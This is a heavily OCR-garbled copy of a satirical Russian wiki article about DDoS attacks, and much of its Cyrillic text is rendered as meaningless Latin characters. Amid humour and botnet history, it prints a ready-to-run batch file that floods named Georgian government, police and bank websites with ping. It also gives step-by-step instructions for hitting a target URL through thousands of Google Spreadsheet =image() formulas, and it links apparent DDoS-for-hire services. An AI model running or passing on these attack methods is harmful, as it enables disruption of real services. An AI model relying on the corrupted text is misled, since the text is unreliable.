DDo0oS — Lurkmore

) AHOHHMYC!
LG 2
% BoamoxkHO, TH mepenyTal packilanKy, xkejas Hanucats: DOS.

«AWB cupgenu Ha TpyOe. Hynbu ymnan, Cocau
rmpormasn. Y KOro rmocojabCTBO B /b/? »

— O cabowce Ha umudicbopoax

DDoS (cokp. ot aurn. Distributed Denial of Service, PacnpedeaéHHbll
omka3 om obcayJcueaHusa) — U3Ha4YaabHO TUII CETEBOU aTaKH,
OCHOBAHHOM Ha HEOE3TPAaHUYHOCTH PECYPCOB aTaKyeMOM CITyKOHI, K
KOTOPOM OPraHM3yeTCs Macca 3aIpoCcoB, C KOTOPEIMU OHA 3aBEeIOMO He
CMOZKET CIIPAaBUTHLCS, U Oy[IeT BEIHYXKEHa 0TKa3aTh B 0OCITyKUBAHUHU
(mu6o 3acTaBUTH XKOaTh HEIIPHEMJIEMO [OJIr'0), COOCTBEHHO, OTCIOfa U
Ha3BaHUe. MHOT{a CJI0BO IPUMEHSIETCS K aHAJIOTUYHBIM CUTYallusIM B
odpdmnatine (IpUMepH HUXKE).

Y10 Takoe DDoOS aTraku u rge ux 3aKka3arb?

DoS-ataka (Denial of Service) — 3akunbriBaHNe HEYTOOHEIX PECYPCOB Pa3IUYHEIM (QIyooM, IPUBOAAIIEe UX K
HOKpgayHY. A DDoS-aTtaka — 3710 Takasi DoS-aTaka, KOTOPYIO OCYyILECTBIsIET HE OOUH SHTY3HUaCT, a pa3rHeBaHHas
Tonma, xkejatmas Crpaimseii Cyn, Ag u [Torubens HeIIpaBOCIaBHOMY pecypcy. Beck mpoduT aToro meTona
3aK/II0YaeTCs B TOM, YTO I'PAaMOTHO CIIJTAaHMUPOBAHHYIO aTaKy HEBO3MOXKHO OTPa3uTh Boobie. A emé DDoS
IejlaeTcs He TONBKO CO CBOEr0 KOMIbIOTEPA, ¥ CPENU IMPOrpaMM A0 CUX IIOP MCIIOIb3yeTCs CTaphii moOPHIM Zeus.
B pe3ynbrate cepBep HauMHAET KaK MUHUMYM 0€300KHO TOPMO3UTH IIPU OTBETAX Ha HOPMAJIbHBIE 3alIPOCHL, a TO
U BOBCe JIOKUTCS, He BEIHECS TAKOI'0 M3[eBaTebCTBa.

ITpoiie rosops

Hpqme TOBOPS, 9T0 Takoe DoS? 310, K mpumepy, Koraa The Matrix Reloaded Agent Smith Fight
BEeMIEIIh PA3TOBOP C KeM-TO, HO TyT HOAXOOUT ajIKalll, 1 DDoS B Matpurie

HavYyuHaeT I'POMKO HecTu Opef. ['oBOpuUTh 1100
HEBO3MOXKHO, JIN00 OUYEeHb CJIOXKHO. PellleHue: 30BEIIb
OXpaHy, OHa CKPy4YWBAeT CHHSKA U YBOJMT.

DDoS ke oTnu4aeTcsi TeM, YTO ajKalnel BOeraeT TOJIa MHOTOTHICSYHAS, U fake eCJId II03BaTh OXpaHy, OHa
0aHaJIbPHO HE CYMEET BCEX CKPYTUTh U YBECTH.

Haubonee xe addheKTrBHAS aTaKa TAaKOTO IIJIaHa BHIIIOIHSIETCS He ThHICIYaMM HaOexXXaBITUX ankaliei (16o Habop
mOOPOBOMBIIEB, OPTaHU3AIMsI, CHHXPOHU3AIMs U ITpoYee), a IpeBpalleHneM B 30M0U yKe UMEIOITUXCS BOKPYT
MUPHLIX 103€poB. OHU y2Ke eCTh, y2Ke XOISIT BOKPYT, y2Ke 000PyIOBAHEl PTOM — OCTAJIOCh TOJTBKO 3aCTaBUTh UX
HaydaTh OpaTh MOLMEHTY B YX0. BceM cpa3y 1 He3aBHCUMO OT UX XKeJIaHUS, 10 KOMaHIe, C UCIIOTHUTEIBHOCTHIO U
HACTOMYWBOCTHIO KOMITBIOTEPA. B KOMIIBIOTEPHOM MHPE TAaKOM 30XBaT AYII OOBIYHO BBHITIOJIHSIETCS C TTOMOIIIBIO
TpPOSTHA.

IRL

[Ipumep c ankamamMu BIOJIHE MOXKET §bm; IIPUMEHEH K T panaHCKH# maTpyis B mrade HasamsHoro!
peany. DDoS aTtaku nIpoBOOWUIUCE €IIIE B 3.05.17

OOKOMIIBIOTEPHYIO 3Dy PA3IUYHBIMU BECEIIEIMU

DDoS B mtabe Kaugumarta
cnocobamu. Hanpumep:

[IkonbHBIN
9To KOTAa yYeHUKH, 4TOOHI JOCTATh HEYTOOHOTO YYUTEsI, HAUWHAJIM MBIYaTh o Hoc. K KoMy yuuTtens
TIOOXOOUT, TOT 3aMOJIKAEeT, OCTAJIbHLIE ITPOIOJIKAIOT. YPOK BECTH HEBO3MOKHO, MO0 MBIYaHUE OBICTPO
rmepepacTaeT B PEB. BEISICHUTH, KTO MBIYUT — ToKe (omucaH y JIbBa Kaccuns B «KougyuT u llIBamMOpaHus»,
a Takxke B KHuUre «Pecnybnuka HIKWI»).

BropokpaTuuyeckuu
OnucaH y Ctpyraukux B «Cka3ke o Tporike». KoMuccH0 10 pariioHanu3aliuy U YyTUIN3aluy 3aBajluiin
Kyd4del TJIYIbIX 3asiBOK, ¥ €€ paboTra Obljia mapajm3oBaHa.

TropeMHBIN
Pa3HOBUIOHOCTH OI0POKPATUYECKOTO. 3a JOJTHe TOOBl OTCUAKH Yero TOJIbKO He BRISCHHIIL — BOT U OOUH
cupersnel 00HaApPy2KUJI B COBETCKOM 3aKOHOMATeJIbCTBE, YTO HU OfHA Kajioba, IIofaHHas B MUHIOCT, KaKol OBl
6eccMBICIIEHHOM OHa He Oblla, He [MOJI’KHA OCTaThCs 6e3 oTBeTa. KOHEI] HEMHOTO mpeacka3lyem: Kaxmasii 3K
CTaJI OTIIPABJISATh THICAYHY MX, TOKA afMUHUCTPAIIUS He CMSATYUIa PeKUMHLIE TPeOOBaHUS.
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TenedoHHBIN
DTO0 KOoTfa OOHOMY 3aCJIy2KUBIIIEMY XYI0 PETYISPHO 3BOHAT OECATOK-OPYroi COYyBCTByIomMuUX. Ha oTnudHOo
€3[UT 10 HEPBaM, a IPU AOIXKHOM YCEPOUU UJIM KOJIMYECTBE 3BOHAIINX allllapaTOM CTaHOBUTCS
HEBO3MOKHO II0JIb30BaThCsI. ABTOMaTHU3UPOBaH KOJIJI-IIeHTPaMu i O0PLOEL C HeJleralIbHOM PeKiaMoM 1o
3aka3y Biactel. [Ipumep: 6ecKOHeUHBIe 3a€0bIBatOIIe 3BOHKY Tpodeccopy KyKy u3 MOBOTLHO-TaKH
BUHpapHOU nbechl Kupa Byneruéna.

IMoTpebuTenbCKU
Brin mpoBenéx B HoBocube B OMHOM U3 CyIIEPMapKeTOB, I'le BBEJIM HOBHIE IIPaBuiIa, 3allpelaionine
KaccupaM o0OCIIy>KHUBaTh ITOKyIlaTeJiel, He B3SBIINX KOP3UHKY MU TejliexkKy. Hapopn yctpoun ¢smmob: B
MarasuH IIPUIIIa IIapa COTEH YeJIOBEK, BCe B3SJIU TEJIeKKU, KaXIbIM KUHYJI B CBOIO TEJIEXKKY O0UH CHIPOK,
U, KakK IojlaraeTcs, BCTalld B odepenu K KaccaMm. Pabora marasmHa octaHoBuiIachk. OxpaHa CyeTusnach u
Oerajyla, HO HUKTO HUYETO0 He MOT CHeJiaTh: BCE 10 3aKOHY M IIPaBUJIaM, JIIOAY MPUIIINA 3a CHIPKAMHU...
Eme, B pomane ApTtypa Xeunu «MeHSIE» onucaHa TunudHas DDoS-aTaka Ha 6aHK : Macca JIIomen mo
TIPU3BIBY HEKOEM 00IIeCTBEHHOM OpraHu3aluy (3aluTH OpaB IOTPebuTesiei) OTKPHBAIOT CYeTa Ha CYMMBI
THIa nsiTh 6AaKCOB, 3aTeM KJIaAyT Ha HUX HEOOJIbIIINE JEHbIH, TYT KEe UX CHUMAIOT, KJIaAyT OMISATh U T. O. 110
KPYTY, U3BOMS IIPU 3TOM KaCCHPOB IOJITMMU HETOPOIUIMBLIMU pacclipocaMu. baHk mapann30BaH.

Ha Garopre
«[IToC aTaka Ha Tponueidyc — Toinma Hapomy ¢ 500-pyOnéBeIMU KYITIOpaMU»

U nipo Garmropr
«I0oC aTaka Ha 6amopr — TOJIIa Hapoay C YYBCTBOM IOMOpa»

DDoS rpynnupoBku B Poccuu

OTa CTaThbsi COCTOUT U3 YHEIHUS ¥ OTUYASTHUSI.
CpenaiiTe Cc HEW YTO-HUOYIb.
i B Tloxanyiicra.

B Poccuu ecth nBe KPYIIHBIE OPTaHU3allui, 3aHUMAIOIIHUEeCsa DDoS-atakamu Ha Pa3IuYHLBIE CaUTHI:

e OOO®P (Opranuzanusa O6venuneHHEX ®aros Poccur), B KOTOPYIO BXOIAT CIeOyollne MeM-TPYIIIIUPOBKU:
Jlenpo3opuit CyeBepHbil, [Tagmias dacTs 2K2K 1 BO riiaBe, KOHEYHO XKe, YIIsTUKa.
I'maBaBIMU XKepTBaMu OO®P cranu:

www.mail.ru (3a npoekt 2KYKN),

www.gay.com (3a TO 4TO Trei),

www.4chan.org (3a ockopbnenus 6ora «OHOTOIIE»),

www.wikipedia.org (3a cratsio mpo YITHK, B KoTopoii 6visio ocKopOieHue B cTOpoHy KOTOB (KOT3), HE
CHSITOE MOEePaTOpPOM B TeUeHUe Mecslia)

U MHOTUME Opyrue MejKue CaliThl, TakKve, HanpuMep, Kak [IBad u 3o00dun.py (mocemaemoctsio B 100—200
YeJIoBeK).

OO®P pacnianack B 2009 rogy us-3a nagenus Yusdku. [locne «Bo3poxpeHus» YIIUK nnaBHO mepenusnach B
0e3BIMSHHYIO TPYIIINPOBKY BO TJIaBe C TOMOB3PHIBATEIISIMH.

LN e

e Xaxkep.Py — kpynHeumui calT ckpuntkunucos B CHT, ussecteH atakoit Ha Ubisoft, B KoTopoi npuHUManu
yaactue npubnu3utenbHo 4000-10000 yenosek (1o cmoBaMm agMmuHa) u3 Poccuu, Ykpaunsl, benapycu u
make HEKOTOPHIX €BPOIEMCKHUX CTPaH C Ilejibio Haka3aTh Ubisoft 3a paspaboTanuyio umu DRM, HOBYIO
3aluTy UTP, HaJ KOTOPOM ABa MecsiIa JioMaJsiu OOIIKY BCe KpaKepsl Mupa. B pe3ybTaTe aTaku BCce cepBepa
Ubisoft ObIiM mepeKprITH, caliT packpamieH (crash) Ha 4 yaca. Takxke mojb3oBaTensM Xakepa.Py momoranu
daru u3 HOBOM YISTYKM U PA3/IMYHBIE TEMMEPHI C pa3OUTHIM cepaleM. B akTUBHOM BeTKe cabxka
Habmoganock 0kojio 1000—1500 TyKammxcsi, KakK HECJIOKHO A0TagaThCs, UCIIOPOXKHEHUS OBLIH
anudecKuMu. ITocsie BHIIIIEOTHCAaHHBIX COOBITHH 1 Oypnenus roBH y Ubisoft oTmasno xkejaHue UCIIOIb30BaTh
DRM B cBOUX ITOCTEAYIOUIUX ITPOEKTaxX MPyPIuHK

ping Kak cpeacrso DDoS

ITepuoaryecky Ha HEKOTOPHIX MOIMYISIPHEIX calTaX IOSBIISIOTCS IPU3LIBEL MAaCCOBO MUHTOBATh KaKOM-T100
HEYTOIHBIN pecypc. [IpuMepoM MOXKET CITyKUTh 0aropr, B 6e3qHe KOTOPOTO IPU3LIBAJIN MUHT0BATH
http://president.gov.ge/ u ogpyrue npaBUTEIbCTBEHHBIE CalTH [ py3un BO BpeMs BOUHE B FOxkHOU OceTtuun:

Co3maém Oart dain u 3amyckaem B 12:00, 15:00, 18:00, 20:00 mo Mockse

@echo off @echo Call this file (MSK) 12:00, 15:00, 18:00, 20:00 @echo Thanks for support of South
Ossetia! Please, transfer this file to the friends! pause start ping -n 5000 -1 1000
www.newsgeorgia.ru -t start ping -n 5000 -1 1000 www.apsny.ge -t start ping -n 5000 -1 1000
www.nukri.org -t start ping -n 5000 -1 1000 www.opentext.org.ge -t start ping -n 5000 -1 1000
www.messenger.com.ge -t start ping -n 5000 -1 1000 www.president.gov.ge -t start ping -n 5000 -1
1000 www.government.gov.ge -t start ping -n 5000 -1 1000 www.parliament.ge -t start ping -n 5000 -
1 1000 nsc.gov.ge -t start ping -n 5000 -1 1000 www.constcourt.gov.ge -t start ping -n 5000 -1 1000
www.supremecourt.ge -t start ping -n 5000 -1 1000 www.cec.gov.ge -t start ping -n 5000 -1 1000
www.nbg.gov.ge -t start ping -n 5000 -1 1000 www.nplg.gov.ge -t start ping -n 5000 -1 1000
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www.police.ge -t start ping -n 5000 -1 1000 www.mod.gov.ge -t start ping -n 5000 -1 1000
www.mes.gov.ge -t start ping -n 5000 -1 1000 www.mfa.gov.ge -t start ping -n 5000 -1 1000
www.iberiapac.ge -t start ping -n 5000 -1 1000 www.mof.ge -t start ping -n 5000 -1 1000
www.sololaki.ru -t start ping -n 5000 -1 1000 www.president.pl -t

I deKTUBHOCTH 3TOTO CI0cO6a HEBBICOKAS, IIOCKOJILKY [JIS 3alllUTH JOCTATOYHO 3abnokupoBaTsh ICMP echo-
request makeTHl, HalTpaBIeHHBIe Ha aTaKyeMbli caiiT. Takas mpocTasi GUIbTPAIUs MO3BOJISET HaleXKHO OTHETUTh
BaJINOHBIE IAKETHl OT MYCOPHBIX, ¥ Ha 3TO CIIOCOOHH AazKe MPOCTeHIIre MapIIpyTU3aTophsl. Ecnnu Takyio
uIbTpaIMo BKIIOYUTE e11é Ha JalbHUX MMOJICTyIIaX, rme TpadHuK C aTaKyoIINX MallliH He 3a0uBaeT BeCh KaHall,
TO Tako# DDOS HUKaK He MOBIUsSIET Ha pab0TOCIIOCOGHOCTh aTaKyeMoTo pecypca. TeM He MeHee, TP MacCOBOM
KCIIOJIb30BAHUM MOXKET CO3[[aBaTh HEKOTOPHIE ITPOGIEMHI.

[TosTBNISIBIIIMECS TO M [EJI0 HOBOCTU 00 aTakKaxX Ha IPY3UHCKUE CAUTH (HalpuMep) HeKOTOPhIe ITOCEeTUTENH Oallla
BOCITPUHSIJIM KaK UCKJTIOUUTEJIFHO CBOIO ITOOEy, XOTS OUEBHUIHO, UTO XaKEePHl TOXKe He cranu 1 nposopuiu DDoS
0oJiee HagEXXHBIMU CIIOCOOaMHU.

BrpouewM, rpy3uHCKUe afMUHEI HUKAaKUX BBIBOLOB He crmenanu. Tak, president.gov.ge peanbHO IIOJI0XKUTE C OBYX-
TPEX KOMIIOB HEXUTPOM KoMOuHauuewn ping+Sprut.

LOIC

OcHosHass cmamvs: Low Orbit Ion Cannon

LOIC (Low Orbit Ion Cannon) — ceMmeucTBO codpTuHr st DoSunra - T T AT
CaiTOB. AKTUBHO MCIONB3YIOTCS OUTapgaMu BO BpeMsi pa3HO00pPa3HbIX
PEermoB U MEeXXIO0YCOOHBIX BOMH.

Sprut

Crapas ImpoBepeHHas NporpaMMKa, HalliCaHHas M3TpoM yarik.by
BUHpAp 3HaeT B KaKOM rofy.

OcHoBaHa Ha SYN-¢Jyne, To eCTb Ha OTKPHITUYM Ky4YU COEIUHEHUN. HuTtepdeiic LOIC
dumka B TOM, YTO C€pBaK OOBIYHO HE PE3WHOBHIM U COEOUHEHUN MOXKET

OepXaTh KOHEeYHOe 4uciio; B Apache mo ymomuanuio — 255. A Sprut ux

BCe 3aHUMAaeT, ¥ CalT mpeBpallaeTcs B CIEIOTIyX0OHEMOTO.

JIeTKo oTOMBAETCS IPSIMOPYKUM afMUHOM ITyTEM OTPDAaHUYEHUST MaKCHMaIbHOTO KOJIMYECTBa COeTUHEHUH C
ogauM IP. (HukKakux MpoKCcel OCbMHHOXKEK He TPHU3HAET U MOTOMY JIeTKO ImanuTtcs). HecMoTps Ha 3TO, BCETO C
OOHOT0 KoMIla, ¢ ogHUM IP, BIIOJIHE MOXKHO yOEPKHUBATh JIe2KaYUMU CalTHl 0€3 OMBLITHHIX PaOOTHUKOB.

Sprut BxoaouT B umciio u3no61eHHbIX «1yuyeMEToB» YII4K BmecTe ¢ LOIC u ymapHBIM nuHTroM. A BooO1ile, jirobas
KoopauHupoBaHHast SYN-GIIyn aTaka, Ipy UCIOIb30BAHUY TYCTh U HEOOJIBIIOTO Auana3oHa [P, ycrnenrHo Bamut
KaKIObIl BTOPOU CEPBEP, a IIpU KpPyImHOM guana3oHe [P noxwutcs mo 95% cepBepoB Ha nmpocTtopax TCP.

DC++ DDoS

Emé B 2008 rogy B DC++ Gblyia HalijeHa ysiI3BUMOCTbD, TTO3BOJISOIIAs Mpou3BecTu DDOS ¢ moMomibio BCex
KOMITBIOTEPOB, TOAKITIOYEHHBIX K KAKOMY-JT00 xaby. OTinuyuTenbHas 0COOeHHOCTD 9TOro Bapuanta DDoS’a —
ero yCIlexX 3aBUCUT OT KOJIMUeCcTBa 103epOoB Ha xabe, a He OT YUCIia JIIoJlel, KOTopkrle mpou3BonsaT caMm DDoS (to
€CTb 3TOT cr1ocob 3pdheKkTuBeH, faxxe ecinu paboTaTh B OOUHOUKY).

ITo coctostumio Ha 26.04.2012 6oTHeT momy4aeTcsa cobpaTs He 6onee yeM u3 1000 103epoB. DD0S TOMBKO B
TEOPHH...

CchlIKa OJisi CKa4uBaHUA
Kopnopanusi modopa kKak cpeacrtso DDoS

CyTh TakKoBa:
1. Co3maeM JOKYMEHT B 3ToM ux Spreadsheet
2. BcTaBnsieM B ssueMKM TAOIUITLI TRICSTYU POPMYITT BUOA:

=image("http://targetname/file.pdf?r=1")
=image("http://targetname/file.pdf?r=2")
=image("http://targetname/file.pdf?r=3")
=image("http://targetname/file.pdf?r=over9000")

3. I'yrnib HayHeT KSMKMPOoBaTh (HaisikEl M0 CChUIKaM U3 GopMyJI, 4eM CO3[acT Ha aTaKyeMblli CalT HeXUIIYI0
HarpysKy.
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https://ru.wikipedia.org/wiki/SYN-%D1%84%D0%BB%D1%83%D0%B4
https://lurkmore.gay/DC%2B%2B
https://lurkmore.gay/%D0%A7%D0%B5%D1%80%D0%BD%D0%BE%D0%B1%D1%8B%D0%BB%D1%8C
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https://lurkmore.gay/Google
https://lurkmore.gay/Over9000

5. PROFIT

CaiiT mpaKTUYeCKY rapaHTUPOBAHHO yHaAeT MO0 OT 3acHpaHus KaHalla, Tu00 OT IPEBHIIIEHNUS JHEBHOM HOPMEI
TpaduKka. A rraBHOe, aHOH — Kadaelllb 3TH JaHHbIEe He TH, ¥ TeOe COBEPIIEHHO He 00s3aTeIbHO UMETh JoMa
nepcoHanbHbIN 100-MerabUTHLIN HUHTEPHET-KaHal. Ellle ecTb ero MaTh APyrue MeToOnl 3amuThel 0T Ddos u
BapHaHTH HAKaTaTh KaJio0y, eCJIH BaC BCE JOCTAJIO CAEeIalTe 3TO.

TepmosimepHbili DDoS

To ke camMoe, YTO ¥ OOLIYHBIN, TOITBKO BHITIOJTHSIETCS O0THETOM B COTHH THICSY MaIllMH. TaKoi G0THET JIeTKO
3abuBaeT MarucTpasbHBHM KaHan B 100 ['6ut/cek. Buepsrie Takoit DDoS 6811 ycTpoeH B pyHeTe B oKTsi6pe 2010,
B pe3ynbTaTe Yero y YkpTenekoMa OblIu cepbe3HBIe IPOOIEMBI C MaruCcTpaabHEIMU KaHalaMHu (aTaKoBalu
oOHOTO U3 uX KIueHToB). 2KepTBa, ucnpasssisi ceou DNS-3amnucu, cMoOrJjia Uil BDEMEHHO MOJIOKUTH ya.ru u
HaconuTh darpa.net, 4To O6BIJI0 Jaxke BOCIETO B cTuxax. CItocoO0B 3aIUTH OT CTOJIb MacinTabuoro DDoS He
u300pes ellé HUKTO.

B mekab6pe 2010 roma coBMecTHO ¢ coTpymHuKamu otaerna «K» MBI P® u 3apyO6eKHBLIMH KOJIJIETaMU, KOTOPHIE
3aHuMaioTcs IT-6e3omacHOCThIO, B 30He .RU 0BT 00HapyKeH OrPOMHBIN O0THET, KOTOPHIM HACUUTHIBAET IMOPSOKA
600000 3apak€HHBIX KOMIIBIOTEPOB-«30M0OU» II0 BceMy MUpy. OOHapyKeHHEIN O0THET YIIPaBIIeTCs C
POCCUUCKHX CePBEPOB (C KaKUX UMEHHO, He YTOUHSeTCs), TakKXkKe yIaJioch YCTaHOBUTH Biiafesiblia 00THeTa, UM
0Ka3aJIiCs HEeKTO IIOJ HUKOM «crazyese» (KpoMe TOT0, YTO HAHHLIN 4YeJIOBeK I1ocelrnaeT GopyMEl XaKepPCKOH
TeMaTHKHU U 3amelnal B DDoS aTakax Ha IpaBUTEIbCTBEHHBIE CAMTHl Pa3HBIX CTPaH, 60JIbIIe HUYETO He
u3BecTHO). [Tocne o6HapykeHus 60THETA BafeIblieM 3TOM CETH 3aWHTEPECOBAJIUCH CIIETCITYKObI Pa3HbIX CTPaH.

9 deBpansg 2012 roma B ceTh moman ICQ Homep (831577) Toro caMoOro «crazyese», HOMEP B CETH OIyO0JIMKOBAJI
OOUH M3 KOHKYPEHTOB «crazyese». TeM He MeHee, Bjlafieiel] HOMepa 3TO M He CKPHIBAET, IIPOHOJIzKas OTKPBITO
npepnnaraTh ddos ycmayru. Xakephl Bce 4allle IPOJoIXKalT PeKjlaMrupoBaTh CBOM O0C CepBUCH KakK B RU Tak u B
EN cermente

HepmaBHO cTano ©3BECTHO, YTO C LIEHTPA yIIPaBIeHUsI OOTHET-CETH TOTO CAMOT0 «Crazyese» OBLIIM aTaKOBaHBI
KpPYIIHbIEe UHTEPHET PEeCYPCHI, TakKue Kak lenta.ru, vkontakte.ru, yandex.ru, ozon.ru, nasa.gov, kremlin.ru,
facebook.com, cICOK CaTOB MOZKHO IIEPEYUCIIATh 00 6eCKOHeYHOCTH. B koHIle ampens 2011 roga, SKCIIEPTH
3a¢UKCUPOBAJIX HOBYIO OOTHET-CETh XaKepa I10[] HUKOM «Crazyese», YUCJIIEHHOCTbh KOTOPOM IIpeBHIaeT 4.7 MITH
3apakEHHBIX KOMITLIOTEPOB 110 BceMy Mupy, 53% u3 Bcex «30MOu-MamuH» pacronaraiorcs B CIIA. YucieHHOCTD
HOBOU 00HaApPYyKEHHOM O0THET-CETH PACTET C KaXKIOBIM OHEM. Tak ke coolIIaeTcsi, YTO HageHHBIN B meKabpe
6oTHeT U3 Gostee yem 600000 «30MOU-MaIINH» yIAIOCh TUKBAANPOBATh, OMHAKO XaKep 110 CeH MeHb B PO3LICKE.

Kak crars DD0S-cepom

KpoMe BHIIIEONHCAHHBIX METOOOB OGPOBOIBHOTO YYaCTHUS B aTakKaX Ha HeYyrOOHbIe CAlTHI, CyIIeCTBYyeT IIPOCTOM
coco6 CTaTh HEBOJILHBIM YYaCTHMKOM aTaK4 ¥ Ha BIOJIHE YTOOHBIN caliT. Bce, YTO HY>KHO IJI 3TOTO AenaTh —
CUIETDb IOI BUHOOHN U IIPU 3TOM:

e [MMapuThcs IO IOpHOCaWTaM Iipu nomouu [E6.

e OTKpHIBATh BCIO Ty XyHHIO, KOTOPas MPUXOAUT Tebe 1o moyTe ¢ cabxkeM Thma «BIoOHOWHKA C MATHIM
pa3MepoM Ipyaou MedTaeT MO3HAKOMUTHCS UMEHHO C TOOOM:IPHIIIaBEIM HEJOYMKOM, TPE3SIIUM, YTO PAHO
WUJIU TI031HO OH cTaHeT [eHuenaMm Kpetirom spoiler: (James Bond 007)».

e CoBaTh B OBIPKY GJieliku 0e3 Fpe3epBatHBa aHTUBUPYCA.

Bce BhImeniepeuncienHoe OBIJIO HE aKTYyalIbHO OJIS TUHYKCOUIOB (Y KOTOPHIX 3USIOMMX AP Bpome IE6 cponmy He
OBIJIO), HO BCE-TAKU CTAJI0 aKTyaJibHO. beil co3mad boTHET u3 Linux-yCTPOXCTB, BO3POCIa MOMyIIpPHOCTh Linux-
60THETOB, emé 6otHeT O DDoS-aTak. [118 MakOBOLOB TOXKe CTAJI0 aKTyaJIbHO.

DDoS no-yKpauHCKH

BecnipenieieHTHEIN IPpUMeD NPETBOPEHUS BHIIIEONINCAHHBIX 3HAHUY 1 yMeHuM B ku3Hb BHE3AITHO rpsuayn
nepBoro ¢eppasnsa 2012 roga Ha YKpanHe, KOToa Mycopa HaeXalld U Pa3rPOMUIIN OOUH U3 IONYJISIPHBIX
daitnoobmenHuKOB ex.ua. B pesynpraTe BOJIEE CYTOK nexkanmu Bce KII0YeBHIe TPABUTEIbCTBEHHBIE TTOPTATHL,
BKJIIOYas CaliT Ipe3ufeHTa, KabuHeTa MUHUCTPOB, lTapjlaMeHTa, TeCTallo ¥ CalT npassiel naptuu. Emre
uHTepecHee 3¢ PeKT — BIaCTU BEPHYIU 0OMEHHUK!

Kpome mpodeccruoHanbHEIX KyIXaKepoB U BilafesbileB cTag 00TOB KO (rernMoly MOAKIIOYUINCE OT CTa [0
TPEXCOT THICSY PSIOOBLIX IOJIb30BAaTEIeH, IPUYEeM HHTEPECH UX COBCEM He OTPaHUYMBAJINCDH 3aIlIUTON
datinoodmenHuKa. ®menmMob oKal3asicsi CPEeICTBOM KOHCOJIMOALIMY TeX, KTO UCKPEHHE KeJjlajJl OCUHOBOT'O KOJia
BIafieNIbllaM YIIOMSHYTHIX PECYPCOB, COOTBETCTBEHHO PO (aiiIo00MeHHUK 320N GBICTPO.

IMompo6HOCTH GUTOBOM PEBOIOIUN CMOTPUTE TYT.

HoBer#t BUTOK OMTOBasi pEBOIONMS TTOJTy4YHiia BO BpeMsi EBpoMatimana. Cpa3y mociie pa3roHa meMoHcTpanuu 30
HOs10pst 2013 cTabMUIbHO JIETIN BCe IPAaBUTEILCTBEHHEIE CAlThI, HEHAIOIT0 BO300HOBUB paboTy mepen CaMbIM
nagenuem I[Ipoddecopa 19-20 despansg 2014 roxa. ITocne mpuxoma K Biactu Kpomera, mog MaccuBHEIM DDoSom
OKa3aJIMCh II0YTU BCe KMEeBCKHEe HOBOCTHEIE IIOPTAJIEL M CAWTH TeJleKaHasloB. ATaka OKa3ajlaCch HeyIadyHOU:


https://lurkmore.gay/PROFIT
http://pyatilistnik.org/kuda-pozhalovatsya-na-ataku-na-sayt-ili-ddos/
https://lurkmore.gay/%D0%A0%D1%83%D0%BD%D0%B5%D1%82
https://lurkmore.gay/%D0%97%D0%BE%D0%BC%D0%B1%D0%B8
https://lurkmore.gay/Windows
https://lurkmore.gay/%D0%9F%D0%B0%D1%82%D0%B8%D0%B2%D0%B5%D0%BD
https://www.ez-ddos.com/
https://ddos-stress.cc/
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https://lurkmore.gay/%D0%92%D0%9A%D0%BE%D0%BD%D1%82%D0%B0%D0%BA%D1%82%D0%B5
https://lurkmore.gay/%D0%AF%D0%BD%D0%B4%D0%B5%D0%BA%D1%81
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https://lurkmore.gay/%D0%9F%D1%83%D1%82%D0%B8%D0%BD
https://lurkmore.gay/Facebook
https://lurkmore.gay/TIME_PARADOX
https://lurkmore.gay/%D0%A3%D1%8E%D1%82%D0%BD%D0%B5%D0%BD%D1%8C%D0%BA%D0%BE%D0%B5
https://lurkmore.gay/IE
https://lurkmore.gay/%D0%A1%D0%B0%D0%B1%D0%B6
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https://lurkmore.gay/%D0%90%D0%BD%D1%82%D0%B8%D0%B2%D0%B8%D1%80%D1%83%D1%81
https://lurkmore.gay/%D0%9B%D0%B8%D0%BD%D1%83%D0%BA%D1%81%D0%BE%D0%B8%D0%B4
https://habrahabr.ru/company/ua-hosting/blog/268007/
https://therunet.com/articles/7720
https://habrahabr.ru/post/248933/
https://lurkmore.gay/%D0%AF%D0%B1%D0%BB%D0%BE%D1%87%D0%BD%D0%B8%D0%BA
http://www.securitylab.ru/news/409083.php
https://lurkmore.gay/%D0%9F%D1%80%D0%BE%D1%84%D1%84%D0%B5%D1%81%D0%BE%D1%80#%D0%A1%D0%BF%D0%B0%D1%81%D0%B8%D0%B1%D0%BE_%D0%B6%D0%B8%D1%82%D0%B5%D0%BB%D1%8F%D0%BC_%D0%94%D0%BE%D0%BD%D0%B1%D0%B0%D1%81%D1%81%D0%B0...
https://lurkmore.gay/%D0%9F%D1%80%D0%BE%D1%84%D1%84%D0%B5%D1%81%D0%BE%D1%80
https://lurkmore.gay/%D0%AF%D1%86%D0%B5%D0%BD%D1%8E%D0%BA
https://lurkmore.gay/Fail

PeCypCHI TJIIOUNIIH, He IOATrPYKalu KapTUHKY, HO He Jiernu. [Tocne 3abpoca sKUIUPOBaHHLIX TYPHUCTOB B KpriM
O[T 3aJITl TJIaBHOT'O Kajubpa momany BCe KPHIMCKHE HOBOCTHBIE CAWTHI IPOMalaHHOM HalpaBJIEHHOCTH (CalT
YepHOMOPCKOM TenepajuoKOMIaHNK, PaCOBO TaTapcKoro Tenekanana ATR, rasets «CoOuiTuss» 1 mpoyne). Ha
9TOT pa3 OaCTHOHEL BiIbHOI HAIlil JIETJIN 3a ISTh MUHYT U HaXOHOSATCS B IePMaHEHTHOM JlayHe 00 CUX IIop (caiT
YepHOMOpPKYU caMOBHIIUNINUIICS, Ha ry1arHe ATR KpacyeTcsa nararomiee 0OKHO OHJIaUH-IIPOCMOTpPa KaHaa,
OCTaJIbHBIE IIPOCTO He Ipy3saTcs). Ha crnenyromuit feHb ObUIN BRIIUJIEHH YK€ caMU KaHaJIbl: [10CJIe OBYXOHEBHOTO
paguoriymeHnus (B Kakod-To Mepe 310 Toxke DDoS) CuMmdbepononbckas Tenebantsas Obljia 3aHsTa B3BOLOM
9KCKYPCAHTOB, KOTOPHIE IEPEKITIOYNIN Ha COOTBETCTBYIOIINE YaCTOTH POCCUUCKUE KaHalbl. KueBCcKue yKpH
HerofoBasy, KPEIMCKOE IIPaBUTENLCTBO CJIOBUIIO HEMAJIO JIYJI30B, a HacelleHre Havalo MacCOBO KapuTh
KYKypy3HBIe 3epHa. Crenyromuii payHz Obl elle 60ee anUYHBIM: 14 MapTa OOWH 3a OAPYTUM JIETJIU CAaWThl
Llentpobanka, BI'TPK, [TepBoro kanasa, Poccutickoii ['azeTrsl. bBiuxke K Bedyepy B 6e3nuy yneten Kremlin.Ru,
caviTet MU a u MexnapnaMmenTcKol Accambiieun CHI' rpy3unuchk MUHYTaMy; Tak Ke [IPUJIET IIOCHaTh U CAuT
